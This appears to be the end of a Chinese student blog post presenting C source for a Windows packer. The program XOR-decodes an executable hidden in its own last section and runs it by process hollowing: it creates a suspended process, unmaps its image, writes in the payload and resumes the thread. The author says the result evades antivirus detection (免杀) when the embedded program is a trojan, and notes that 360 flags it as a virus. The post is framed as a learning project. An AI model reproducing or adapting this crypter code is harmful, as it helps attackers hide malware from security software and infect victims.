    typedef struct PE{
    	int e_lfanew;
    	short NumberOfSections;
    	short SizeOfOptionalHeader;
    	int EntryPoint;
    	int ImageBase ;
    	int SectionAlignment ;
    	int SizeOfImage;
    	int FileAlignment;
    	int SizeOfHeaders;
    }headers;
    
    typedef struct sec{
    	int PointerToRawData;
    	int SizeOfRawData;
    	int VirtualAddress;
    	int VirtualSize;
    }section;
    
    headers headers_file;
    section sections;
    
    char get_char_data(char* start,int distance){
    	char data = *(start+distance);
    	return data;
    }
    short get_short_data(char* start,int distance){
    	short data =*(short*) (start+distance);
    	return data;
    }
    int get_int_data(char* start,int distance){
    	int data =*(int*) (start+distance);
    	return data;
    }
    void getInfo(char* start){
    	headers_file.e_lfanew = get_int_data(start,60);
    	start = start+headers_file.e_lfanew;
    	headers_file.NumberOfSections = get_short_data(start,6);
    	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
    	start = start+24;
    	headers_file.EntryPoint = get_int_data(start,16);
    	headers_file.ImageBase = get_int_data(start,28);
    	headers_file.SectionAlignment = get_int_data(start,32);
    	headers_file.SizeOfImage = get_int_data(start,56);
    	headers_file.FileAlignment = get_int_data(start,36);
    	headers_file.SizeOfHeaders = get_int_data(start,60);
    }
    char* Get_src(char* start){
    	char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(int i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		start_section = start_section+40;
    	}
    	return start+sections.PointerToRawData;
    }
    void Decode(char* src,int size){
    	for(int i =0;i<size;i++)
    	{
    		src[i] ^='4310';
    	}
    }
    char* memcopy_image(char* start_file){
    	char* start_image;
    	start_image = (char*)malloc(headers_file.SizeOfImage);
    	memset(start_image,0,headers_file.SizeOfImage);
    	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
    	int i;
    	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_image;
    }
    /*VOID ModificationBaseRel(IN LPVOID ImageBuffer, DWORD newImageBase) {
                PIMAGE_DOS_HEADER pDosHeader = NULL; //DOs 头
                PIMAGE_NT_HEADERS pNTHeader = NULL; //NT头
                PIMAGE_FILE_HEADER pFileHeader = NULL; // 标准PE头
                PIMAGE_OPTIONAL_HEADER pOptionHerader = NULL; // 可选PE头
                PIMAGE_SECTION_HEADER pSectionHeader = NULL; // 节表
                PIMAGE_BASE_RELOCATION pBaseRelocation = NULL; //重定位表
             
                pDosHeader = (PIMAGE_DOS_HEADER)ImageBuffer;
                pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
                pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + sizeof(DWORD));
                pOptionHerader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);
                pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHerader + pFileHeader->SizeOfOptionalHeader);
                pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDosHeader + pOptionHerader->DataDirectory[5].VirtualAddress);
             
                pOptionHerader->ImageBase = newImageBase;
             
                int index = 0;
                while (pBaseRelocation->VirtualAddress != 0) {
             
                    int count = (pBaseRelocation->SizeOfBlock - 8) / 2;
                    PWORD addr = (PWORD)((DWORD)pBaseRelocation + 8);
             
                    for (int i = 0; i < count; i++) {
                        DWORD height4 = addr[i] >> 12;
                        if (height4 == 3) {
                            DWORD low12 = addr[i] & 0x0fff;
                            DWORD rva = pBaseRelocation->VirtualAddress + low12;
                            PDWORD addr = (PDWORD)((DWORD)ImageBuffer + rva);
                            *addr = *addr - pOptionHerader->ImageBase + newImageBase;
                        }
                    }
                    index++;
                    pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation->SizeOfBlock);
                }
            }*/
    int main(int argc, char* argv[])
    {
    	char FilePath[255] = {0};
    	GetModuleFileName(NULL,FilePath,255);
    	char currentDirectory[255] = {0};
    	GetCurrentDirectory(256,currentDirectory);
    	//printf("%s",currentDirectory);
    	int flen;
    	FILE* fp;
    	fp = fopen(FilePath,"rb");
    	if(fp == NULL){
    		printf("file error");
    	}
    	fseek(fp,0L,SEEK_END);
    	flen = ftell(fp);
    	fseek(fp,0L,SEEK_SET);
    	char* buffer;
    	buffer = (char*)malloc(flen);
    	fread(buffer,flen,1,fp);
    	fclose(fp);
    
    	getInfo(buffer);
    	char* src = Get_src(buffer);
    	Decode(src,sections.SizeOfRawData);
    	getInfo(src);
    	char* image = memcopy_image(src);
    
    	STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi;
        si.cb = sizeof(si);
     
        //以挂起的方式创建进程                                   
        CreateProcess(
            NULL,                    // name of executable module                              
            FilePath,                // command line string                             
            NULL,                   // SD           
            NULL,                      // SD                       
            FALSE,                   // handle inheritance option                            
            CREATE_SUSPENDED,       // creation flags                            
            NULL,                    // new environment block                               
            currentDirectory,       // current directory name                              
            &si,                  // startup information                               
            &pi                   // process information                              
        );
    	CONTEXT contx;
        contx.ContextFlags = CONTEXT_FULL;
         
        GetThreadContext(pi.hThread, &contx);
     
        //获取入口点                                
        DWORD dwEntryPoint = contx.Eax;
     
        //获取ImageBase                                  
        char* baseAddress = (CHAR *)contx.Ebx + 8;
        DWORD imageBase = 0;
        SIZE_T byteSize = 0;
     
        //因为属于别人程序所以使用这个读
        ReadProcessMemory(pi.hProcess, baseAddress, &imageBase, 4, &byteSize);
    	typedef long NTSTATUS;
        typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(
    		IN HANDLE ProcessHandle,
            IN LPVOID BaseAddress
         );
             
    	pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
    	ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
        if (!ZwUnmapViewOfSection)
        {
            ::TerminateThread(pi.hThread, 2);
            ::WaitForSingleObject(pi.hThread, INFINITE);
            return 0;
        }
            //卸载文件外壳镜像
        DWORD a = 0;
        a = ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
    	LPVOID status = NULL;
        //指定区域分配地址
        status = VirtualAllocEx(pi.hProcess,
            (LPVOID)headers_file.ImageBase, headers_file.SizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
    	/*if (status == NULL) {
            //判断有没有重定位
            if (isRelocation(image)) {
                ::TerminateThread(pi.hThread, 2);
                ::WaitForSingleObject(pi.hThread, INFINITE);
                return 0;
            }
            status = VirtualAllocEx(pi.hProcess,
                NULL, headers_file.SizeOfImage,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_EXECUTE_READWRITE);
            if (status == 0) {
                ::TerminateThread(pi.hThread, 2);
                ::WaitForSingleObject(pi.hThread, INFINITE);
                return 0;
            }
            //修复重定位
            ModificationBaseRel(image, (DWORD)status);
    
        }*/
    
    	SIZE_T srcResult = 0;
        WriteProcessMemory(pi.hProcess, status, image, headers_file.SizeOfImage, &srcResult);
        //修正context结构
        SIZE_T oepResult = 0;
        WriteProcessMemory(pi.hProcess, baseAddress, &headers_file.ImageBase, sizeof(DWORD), &oepResult);
        contx.Eax = headers_file.EntryPoint + headers_file.ImageBase;
     
        SetThreadContext(pi.hThread, &contx);
            //记得恢复线程
        ResumeThread(pi.hThread);
    	
    	return 0;
    }
    
    • 效果展示

    在物理主机中,总是被360检测为病毒,此过程在虚拟中进行。我采用笔记本程序NOTEPAD.exe程序作为原程序,进行加壳

     生成了加壳后的程序,命名为4310.exe

    运用PE工具,与NOTEPAD.exe进行pe结构比对

     

     可以看到pe结构根本不同,因为这里分析的是壳子程序的PE结构,但双击运行

     

     运行的是壳子程序,但是壳子程序在4GB虚拟内存中,把自身卸载掉,然后换上存储在节中的原程序(此处就是NOTEPAD.exe),也就达到如此效果,如果把NOTEPAD.exe换成木马程序,就能实现文件免杀的效果。

    四、总结

    这个项目从刚开学就开始做了,中间停滞了一段时间(复习考研),导致后来继续的时候,一些模块丢失,不能把逆向进阶和加壳的程序代码加到PE工具图形界面中,有些遗憾,但是预期效果都达到了,下一步的学习就是向内核(0环)进阶。

  • 相关阅读:
    IIS7中的几种身份鉴别方式(一)Basic身份验证
    IIS7中的几种身份鉴别方式(二)集成身份验证
    java集合
    SharePoint 2010中welcome page的设置细节
    SharePoint中使用Linq出现未将对象引用到实例化的解决方法
    SharePoint 2010中关于An error was encountered while retrieving the user profile的处理方式记录
    The Need for an Architectural Body of Knowledge
    The Softer Side of the Architect
    Event Receivers 学习小结
    使用SmtpClient发送带图片的邮件的代码实现
  • 原文地址:https://www.cnblogs.com/srq111/p/13128494.html
Copyright © 2011-2022 走看看